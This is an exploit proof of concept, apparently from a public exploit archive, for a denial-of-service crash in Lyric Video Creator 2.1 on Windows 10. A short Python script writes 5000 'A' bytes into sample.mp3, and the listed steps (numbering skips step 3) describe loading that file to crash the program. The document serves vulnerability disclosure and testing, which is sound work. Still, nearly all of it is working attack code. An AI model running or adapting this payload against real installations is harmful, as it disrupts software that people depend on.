Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://lyricvideocreator.com/
# Software Link: https://lyricvideocreator.com/dwl/LyricVideoCreator.exe
# Version: 2.1
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "LyricVideo.py", it will create a new file "sample.mp3"
# 2.- Open LyricVideoCreator.exe
# 4.- Click on the 'Browse song' button, select the 'sample.mp3' file created and click on the 'Open' button
# 5.- Crashed

buffer = "\x41" * 5000
f = open ("sample.mp3", "w")
f.write(buffer)
f.close()